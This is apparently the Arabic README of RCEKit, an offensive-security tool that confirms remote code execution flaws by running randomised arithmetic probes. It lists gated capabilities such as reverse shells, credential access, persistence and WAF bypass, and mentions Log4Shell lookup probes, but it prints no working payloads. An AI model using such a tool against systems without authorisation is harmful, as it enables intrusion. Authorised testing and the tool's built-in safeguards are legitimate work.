كان هذان سيكونان اكتشاف شخص آخر. خمس آليات تُنتج هذا الحكم، وهي تعمل على كل تأكيد:

  • طلب تحكم خالٍ من الحمولة. يجب أن يكون الدليل موجوداً مع الحمولة وغائباً بدونها. أي شيء موجود في كليهما هو inconclusive، وليس اكتشافاً.
  • تحكم خامل بنفس الرمز. طلب ثانٍ يحمل نفس الرمز العشوائي في صورة غير تنفيذية. هدف يكتفي بصدى المدخلات يفشل هنا — وهكذا يُفصل الانعكاس عن التنفيذ.
  • معاملات عشوائية، وليست سلاسل ثابتة أبداً. الأوراكل هو مجموع مغلّف بوسم أو حاصل ضرب محاط بحدود يُحسب من جديد في كل تشغيل. صدى الحمولة يعيد $((a+b)) الحرفي؛ التنفيذ وحده يعيد القيمة.
  • بحث أدلة واعٍ بالترميز. مصرف يُرمّز مخرجاته بـ base64 أو hex أو URL أو HTML أو unicode لا يزال يؤكد — يُفحص الجسم الخام أولاً، لذا فك الترميز لا يحوّل أبداً سوى إصابة فائتة إلى إصابة، وليس العكس.
  • بحث أدلة في الاستجابة كاملة. تُبحث عن القيمة المحسوبة في كل قناة من قنوات الاستجابة — الجسم، وترويسات التطبيق، وقيم الكوكيز، وهدف إعادة التوجيه، وعبارة سبب HTTP، وكل ورقة من أوراق مغلّف خطأ JSON — ويسمّي الاكتشاف القناة التي حملتها. يُطبّق الفرق التحكمي على كل قناة أيضاً، لذا فإن توسيع نطاق ما يبحث فيه RCEKit لا يوسّع ما سيسمّيه confirmed.

نفس الغريزة تعمل في الاتجاه المعاكس. التوقيت لا يؤكد نفسه أبداً، واستدعاء إلغاء التسلسل لا يُسمّى RCE أبداً، وتشغيل لم يبنِ أي مجسّات لا يُسمّى سلبياً أبداً.

3. إنه مبني لمهمة مصرّح بها، لا لمختبر

الضوابط التي تسأل عنها قواعد الاشتباك لدى العميل فعلاً، في الأداة لا في ملاحظاتك:

بوابة الموافقةلا شيء استغلالي يُولَّد أو يُطلق بدون --acknowledge-consent.
خطة التنفيذتطبع العدد الدقيق للمجسّات، وأشكال المصارف، ومستويات الأمان، وأي وجهات استدعاء صادرة قبل انطلاق أول طلب.
آمن افتراضياًالأصداف العكسية، والوصول إلى بيانات الاعتماد، وبيانات وصفية للسحابة، والحركة الجانبية، والهروب من الحاويات تُحتجز حتى ترفع --verify-active-risk؛ أما الاستمرارية والأبواب الخلفية فتحتاج علماً ثانياً فوق ذلك. الجسور التي تنشئ كائناً على الهدف تخضع لنفس السقف.
أوامر التنظيفfile وwrite والجسور ذات الحالة تغيّر حالة الهدف، لذا كل اكتشاف — بما في ذلك needs-review — يطبع ما يجب تشغيله للتراجع عنه.
بيانات الاعتماد تبقى في مكانهاجلب القراءة العكسية لـ file يحمل ترويسات Authorization/Cookie الخاصة بالتشغيل إلى نفس الأصل فقط، ويقول ذلك صراحةً عندما يحجبها. جلب القناة المرصودة لا يرسل أي شيء على الإطلاق ما لم تسلّمه طلباً عبر --observe-request.
سجل تدقيق محجوبكل تشغيل يُسجَّل في exploit_audit.log، مسجّلاً أن ترويسة بيانات اعتماد أُرسلت، وليس قيمتها أبداً.
العلامة المائية--watermark يختم رمزاً قابلاً للتتبع في كل حمولة، فحمولة تُوجد في سجلات العميل بعد أشهر تُنسب إلى تشغيلك.
لا استدعاءات من أطراف ثالثةمستمع OOB ملكك. لا شيء يُوجَّه عبر خادم تفاعل عام، وهو ما تحظره بعض المهام صراحةً.
ملف stdlib واحدrcekit.py يعمل وحده — على jump box، أو مضيف معزول هوائياً، أو أي مكان لا يكون فيه pip install خياراً.

متى تلجأ إلى شيء آخر

أتريد صدفة بدلاً من حكم؟ commix وSSTImap يواصلان إلى مرحلة ما بعد الاستغلال؛ أما RCEKit فيتوقف عند الإثبات بحكم التصميم. تمسح آلاف المضيفين بحثاً عن CVEs معروفة؟ تلك مهمة Nuclei — وRCEKit يكتب قوالب Nuclei (--output-format nuclei)، فيغذّي ماسحك الضوئي بدلاً من منافسته. تعرف مسبقاً أن الحقن SQL وتريد قاعدة البيانات نفسها؟ sqlmap يملك تلك الأرض — جسور RCEKit موجودة لإثبات أن نظام التشغيل قابل للوصول من معامل نصي، لا لاستغلال قاعدة البيانات.


اعثر على حالتك

كل صف هو مثال عملي في الدليل الميداني — الأمر، وما يرسله، وكيف تقرأ ما يعود.

الحالةاذهب إلى
لديّ URL ومعاملوجّه إلى URL
لديّ طلب محفوظ من Burpوجّه إلى طلب ملتقط
التطبيق JSON / الحمولة تتعرض للتشويه باستمرارإيصال الحمولة سليمة
لا أعرف أي صنف هواختيار الطرق
المصرف يجرّد ;عندما يرشّح المصرف الفواصل
مدخلي يهبط داخل 'quotes'الحقن داخل علامات الاقتباس
المصرف يشغّل مدخلي كالأمر كاملاًمصارف الأمر الكامل
الهدف Windows أو المصرف PowerShellمصارف Windows وPowerShell
هناك WAFالتفاف حول WAF
لا يعود أي مخرج على الإطلاقالأهداف العمياء
لا مخرج ولا خروجالأهداف بلا خروج
الطلب يخزّن ملفاً بدلاً من تشغيل أي شيءأهداف الرفع والكتابة الأولية
الحمولة تعمل لاحقاً، على طلب مختلفعندما يحدث التنفيذ على طلب آخر

التوثيق

تحقق بنفسكأعِد إنتاج التأكيدات أعلاه على جهازك، مقابل أهداف ضعيفة مُحزَّمة في Docker. خمس دقائق.
الدليل الميدانيجولة قائمة على الأمثلة لكل حالة واقعية، من أول مجسّ إلى السلاسل متعددة الخطوات. ابدأ هنا.
توليد الحمولات & التصديراتRCEKit كمولّد حمولات: ملفات تعريف الأهداف، وتصديرات Burp / ffuf / Nuclei.
المرجعكل علم، وبيئة، وفئة، وسياق، وترميز، ومصرف تنفيذ كود.
CHANGELOG.mdما تغيّر في كل إصدار، وما يجب إعادة فحصه عند الترقية.
CONTRIBUTING.mdكيفية إضافة مصارف وفئات وترميزات وطرق كشف.
SECURITY.mdالإبلاغ عن ثغرة في RCEKit نفسه.

السلامة & الأخلاقيات

RCEKit يستغل، وهذا هو المقصد. تُؤكَّد الثغرة بجعل الهدف يفعل الشيء، لأن ذلك هو الدليل الوحيد الذي لا يمكن لبصمة أن تزوّره ولا لبناء مُرقَّع أن ينتجه بالخطأ. ما يحدّ من التشغيل ليس التردد في الاستغلال. بل حقيقتان بنيويتان ومفتاح واحد.

لا يأخذ منك حمولة عشوائية. تُبنى المجسّات بواسطة المحرك لخدمة أوراكل — حساب على معاملات عشوائية لذلك المجسّ تحديداً، واسم لا يمكن إلا لهذا التشغيل أن يختاره. لا يوجد مدخل يحوّل الكشف إلى شيء آخر، لأنه لا يوجد مثل هذا المدخل لتقديمه.

أي شيء يتجاوز حساب قيمة يعلن المستوى الذي يحتاجه، فيقرر علم واحد إلى أي مدى يذهب التشغيل: --verify-active-risk safe | intrusive | stateful. طريقة أو شكل مجسّ واحد فوق ذلك المستوى يُحتجز بالاسم، مع العلم الذي سيرسله — فسُلَّم يتقلص بصمت لا يمكن تمييزه عن هدف لا شيء فيه ليجده. مقابل نسخة قابلة للتخلص منها، ارفع المستوى واحصل على كل ما تملكه الأداة.

  • بوابة الموافقة — توليد الاستغلال والتحقق يتطلبان --acknowledge-consent؛ أما --detection-only فحميد ولا يتطلبها.
  • آمن افتراضياً — التحقق يطلق فقط إثباتات منخفضة التأثير؛ الأصداف العكسية، والتنزيل-والتنفيذ، والوصول إلى بيانات الاعتماد، والحركة الجانبية، والهروب من الحاويات، والبيانات الوصفية للسحابة، وحمولات OOB تُحتجز حتى ترفع --verify-active-risk. الحمولات المدمّرة (الاستمرارية، الأبواب الخلفية) لا تُطلق أبداً بدون --verify-allow-destructive. خطة تنفيذ تطبع بالضبط ما سيُرسل قبل أن يُطلق أي شيء.
  • مستويات الأمان — safe / intrusive / stateful. تُرشَّح حمولات المدونة بواسطة --max-safety؛ وطرق الكشف وأشكال مجسّاتها تعلن نفس الدرجات وتُرشَّح بواسطة --verify-active-risk، فطريقة تجعل الهدف يتصل بالخارج أو تترك شيئاً خلفها تخضع لنفس الترتيب الذي تخضع له كل حمولة في المدونة. يسمّي الفحص المسبق المستوى الذي يحتاجه كل عنصر محتجز فعلاً. أما file وwrite فيُبوَّبان بإعدادهما الخاص بدلاً من ذلك: لا يفعل أي منهما شيئاً حتى تسمّي دليلاً للكتابة فيه وURL للقراءة منه.
  • التدقيق & التسجيل — كل تشغيل استغلال/تحقق يُسجَّل في exploit_audit.log؛ و--watermark يضمّن رمزاً قابلاً للتتبع؛ وسجلات التنفيذ تذهب إلى rcekit.log.
  • سلامة المدونة — مدونة تالفة، أو --template-file صريح مفقود، يجعل RCEKit يرفض العمل ويخرج بقيمة غير صفرية بدلاً من أن يولّد لا شيء بصمت (--doctor يفحص ذلك). فقط ملف مدونة افتراضي غائب يرجع إلى النسخة المدمجة، ويقول ذلك عندما يفعل.

هذه المجموعة مخصصة لاختبار الاختراق المصرّح به، والبحث الأمني، والتعليم، والتدريب الدفاعي فقط. لا تستخدمها أبداً ضد أنظمة بدون إذن صريح — الاختبار غير المصرّح به غير قانوني.

التطوير```bash

python -m unittest discover -s tests # dependency-free test suite

root@kitploit:~
المساهمات مرحّب بها — أحواض/فئات جديدة، وترميزات، وبيئات، وطرق كشف، وإصلاحات أخطاء، ووثائق. توجد قواعد الحمولات في قوالب JSON قابلة للتحرير (`templates/payloads.json`)، لذا تمتد معظم التغطية دون الحاجة إلى لمس مصدر Python. بعد تغيير المجموعة، حدّث النسخة المدمجة التي تُشحن داخل `rcekit.py`:```bash
python tools/embed_corpus.py    # --check verifies it is current

تفشل مجموعة الاختبارات إذا انحرف الاثنان عن بعضهما. راجع CONTRIBUTING.md.

الترخيص

MIT — راجع LICENSE.

تنزيل الأداة
مصارف البحث عن التعبيرات — Log4Shell/JNDIlookupيحل الـ sink عنوان URI ${jndi:…} بدلًا من تشغيل أمر، لذا لا تصل فحوص الصدفة الخاصة بـ oob إلى شيء. يثبته على الاستدعاء وحده ويُبلّغ عنه كـ lookup-sink، وليس أبدًا confirmed. يُرسَل فقط jndi:dns:// — بحث عن اسم ولا شيء آخر — لذا ما يُثبَت هو البحث، وليس سلسلة gadget.
نقطة الحقن SQL والمصرف هو مضيف قاعدة البياناتجسور لغة الاستعلام
نقطة النهاية تستقبل كائناً متسلسلاًمصارف إلغاء التسلسل
المصرف خلف تسجيل دخول أو رفع ملفسلاسل متعددة الخطوات
حصلت على needs-review / inconclusive / errorقراءة النتائج
يقول إن المدونة غير قابلة للاستخداماستكشاف الأخطاء وإصلاحها